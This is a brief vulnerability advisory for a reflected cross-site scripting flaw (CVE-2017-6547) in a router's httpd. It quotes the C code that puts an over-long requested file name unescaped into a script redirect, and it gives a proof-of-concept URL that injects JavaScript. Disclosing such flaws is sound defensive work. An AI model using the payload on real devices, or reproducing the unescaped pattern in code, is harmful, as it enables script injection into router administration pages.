Cross-Site Scripting (XSS)
Component: httpd
CVE: CVE-2017-6547
Vulnerability:
httpd checks in the function handle_request if the requested file name is longer than 50 chars. It then responds with a redirection which allows an attacker to inject arbitrary JavaScript code into the router’s web interface context.
...
if(strlen(file) > 50 &&!(strstr(file, "findasus")) && !(strstr(file, "acme-challenge")))
{
char inviteCode[256];
snprintf(inviteCode, sizeof(inviteCode), "<script>location.href='/cloud_sync.asp?flag=%s';</script>", file);
send_page( 200, "OK", (char*) 0, inviteCode, 0);
...
PoC:
http://192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';alert('XSS');'A
